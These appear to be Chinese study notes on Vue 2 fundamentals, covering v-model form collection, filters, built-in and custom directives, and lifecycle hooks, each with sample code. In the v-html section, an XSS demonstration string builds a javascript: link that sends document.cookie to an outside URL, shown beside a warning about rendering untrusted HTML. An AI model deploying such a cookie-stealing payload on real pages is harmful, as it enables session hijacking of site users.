Bootstrap

Vue学习笔记|Vue基础07

收集表单数据

  • <input type="text"/>,则v-model收集的是value值,用户输入的就是value
  • <input type="radio"/>,则v-model收集的是value值,且要给标签配置value
  • <input type="checkbox"/>
    • 没有配置inputvalue属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    • 配置inputvalue属性:
      • v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
      • v-model的初始值是数组,那么收集的的就是value组成的数组
  • 备注:v-model的三个事件修饰符:
    • lazy:失去焦点再收集数据
    • number:输入字符串转为有效的数字
    • trim:输入首尾空格过滤
<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        密码:<input type="password" v-model="userInfo.password"> <br/><br/>
        年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
        性别:
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
        爱好:
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br/><br/>
        所属校区
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select>
        <br/><br/>
        其他信息:
        <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
        <button>提交</button>
    </form>
</div>
new Vue({
    el:'#root',
    data:{
        userInfo:{
            account:'',
            password:'',
            age:18,
            sex:'female',
            hobby:[],
            city:'beijing',
            other:'',
            agree:''
        }
    },
    methods: {
        demo(){
            console.log(JSON.stringify(this.userInfo))
        }
    }
})

过滤器

  • 场景:页面中有两行,一行显示时间戳,一行显示格式化后的时间
  • 实现方法
    • computed
    • methods
    • filter|前的属性作为参数,传入|后的方法,方法的返回值作为{{}}中的显示结果
  • 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
  • 语法:
    • 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
    • 使用过滤器:{{ xxx | 过滤器名}}v-bind:属性 = "xxx | 过滤器名"(不常用)
  • 备注:
    • 过滤器也可以接收额外参数、多个过滤器也可以串联
    • 并没有改变原本的数据, 是产生新的对应的数据
  • filter中的方法第一个参数一定是|前的属性值,当|后的方法名带(),且传入其他参数时,filter中的方法也可接收
  • ES6中可以指定形参默认值,当传入参数为空时,使用默认值
  • 引入第三方库day.js,实现时间格式化
<!-- 准备好一个容器-->
<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是:{{fmtTime}}</h3>
    <!-- methods实现 -->
    <h3>现在是:{{getFmtTime()}}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是:{{time | timeFormater}}</h3>
    <!-- 过滤器实现(传参) -->
    <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">wyatt</h3>
</div>
<!-- 第二个容器验证过滤器的局部性-->
<div id="root2">
    <h2>{{msg | mySlice}}</h2>
</div>
//全局过滤器
Vue.filter('mySlice',function(value){
    return value.slice(0,4)
})

new Vue({
    el:'#root',
    data:{
        time:1621561377603, //时间戳
        msg:'你好,wyatt'
    },
    computed: {
        fmtTime(){
            return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
        }
    },
    methods: {
        getFmtTime(){
            return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
        }
    },
    //局部过滤器
    filters:{
        timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
            // console.log('@',value)
            return dayjs(value).format(str)
        }
    }
})

new Vue({
    el:'#root2',
    data:{
        msg:'hello,wyatt!'
    }
})

内置指令

  • v-bind: 单向绑定解析表达式, 可简写为 :xxx
  • v-model: 双向数据绑定
  • v-for: 遍历数组/对象/字符串
  • v-on : 绑定事件监听, 可简写为@
  • v-if: 条件渲染(动态控制节点是否存存在)
  • v-else: 条件渲染(动态控制节点是否存存在)
  • v-show: 条件渲染 (动态控制节点是否展示)

v-text指令

  • 作用:向其所在的节点中渲染文本内容
  • 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
<!-- 准备好一个容器-->
<div id="root">
    <div>你好,{{name}}</div>
    <div v-text="name">这句话会被name替换</div>
    <div v-text="str"></div>
</div>
new Vue({
    el:'#root',
    data:{
        name:'wyatt',
        str:'<h3>你好啊!</h3>'//v-text不能解析该标签
    }
})

v-html指令

  • 作用:向指定节点中渲染包含html结构的内容
  • 与插值语法的区别:
    • v-html会替换掉节点中所有的内容,{{xx}}则不会
    • v-html可以识别html结构
  • 严重注意:v-html有安全性问题
    • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
    • 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上
<div id="root">
    <div>你好,{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
new Vue({
    el:'#root',
    data:{
        name:'尚硅谷',
        str:'<h3>你好啊!</h3>',
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
    }
})

v-cloak指令

  • 场景:外部js库加载过慢,导致Vue实例无法引入,页面无法正常渲染,未经解析的html模板出现在页面上
  • 解决:在style中选择所有含有v-cloak属性的元素,将其隐藏;当加载完外部js库后,Vue实例引入,v-cloak指令会被自动从元素属性中删除;此时之前隐藏的元素,自动显示,页面正常渲染
  • v-cloak指令(没有值):
    • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
    • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
<head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
        [v-cloak]{
            display:none;
        }
    </style>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'wyatt'
        }
    })
</script>

v-once指令

  • v-once所在节点在初次动态渲染后,就视为静态内容
  • 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<!-- 准备好一个容器-->
<div id="root">
    <h2 v-once>初始化的n值是:{{n}}</h2>
    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
new Vue({
    el:'#root',
    data:{
        n:1
    }
})

v-pre指令

  • Vue会跳过其所在节点的编译过程
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 >当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
new Vue({
    el:'#root',
    data:{
        n:1
    }
})

自定义指令

  • 定义语法:

    • 局部指令:
      • directives:{指令名:配置对象}directives{指令名:回调函数}
    • 全局指令:
      • Vue.directive(指令名,配置对象)Vue.directive(指令名,回调函数)
  • 配置对象中常用的3个回调:

    • bind:指令与元素成功绑定时调用
    • inserted:指令所在元素被插入页面时调用
    • update:指令所在模板结构被重新解析时调用
  • 备注:

    • 指令定义时不加v-,但使用时要加v-
    • 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
  • 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

  • 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

<!-- 准备好一个容器-->
<div id="root">
    <h2>{{name}}</h2>
    <h2>当前的n值是:<span v-text="n"></span> </h2>
    <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
    <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
    <button @click="n++">点我n+1</button>
    <hr/>
    <input type="text" v-fbind:value="n">
</div>
//定义全局指令
/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

new Vue({
    el:'#root',
    data:{
        name:'wyatt',
        n:1
    },
    directives:{
        //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
        /* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
        big(element,binding){
            console.log('big',this) //注意此处的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind:{
            //指令与元素成功绑定时(一上来)
            bind(element,binding){
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted(element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析时
            update(element,binding){
                element.value = binding.value
            }
        }
    }
})

生命周期

引入

  • 生命周期又名:生命周期回调函数、生命周期函数、生命周期钩子
  • 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
  • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  • 生命周期函数中的this指向是vm组件实例对象
<!-- 准备好一个容器-->
<div id="root">
   <h2 v-if="a">你好啊</h2>
   <h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
new Vue({
    el:'#root',
    data:{
        a:false,
        opacity:1
    },
    methods: {

    },
    //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
    mounted(){
        console.log('mounted',this)
        setInterval(() => {
            this.opacity -= 0.01
            if(this.opacity <= 0) this.opacity = 1
        },16)
    },
})

//通过外部的定时器实现(不推荐)
/* setInterval(() => {
			vm.opacity -= 0.01
			if(vm.opacity <= 0) vm.opacity = 1
		},16) */
  • {opacity,opacity}:第一个opacity是css中的属性,第二个opacitydata中数据名;由于重名,可以使用对象的简写形式{opacity}

Window setInterval() 方法

分析

在这里插入图片描述

总结

  • 常用的生命周期钩子:
    • mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
    • beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】
  • 关于销毁Vue实例
    • 销毁后借助Vue开发者工具看不到任何信息
    • 销毁后自定义事件会失效,但原生DOM事件依然有效
    • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
  • 场景:点击按钮停止渐变
  • 实现:在销毁vm前,关闭定时器
<!-- 准备好一个容器-->
<div id="root">
    <h2 :style="{opacity}">欢迎学习Vue</h2>
    <button @click="opacity = 1">透明度设置为1</button>
    <button @click="stop">点我停止变换</button>
</div>
new Vue({
    el:'#root',
    data:{
        opacity:1
    },
    methods: {
        stop(){
            this.$destroy()
        }
    },
    //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
    mounted(){
        console.log('mounted',this)
        this.timer = setInterval(() => {
            console.log('setInterval')
            this.opacity -= 0.01
            if(this.opacity <= 0) this.opacity = 1
        },16)
    },
    beforeDestroy() {
        clearInterval(this.timer)
        console.log('vm即将驾鹤西游了')
    },
})

  • 上图可以看出,在vm销毁前,成功关闭了计时器
;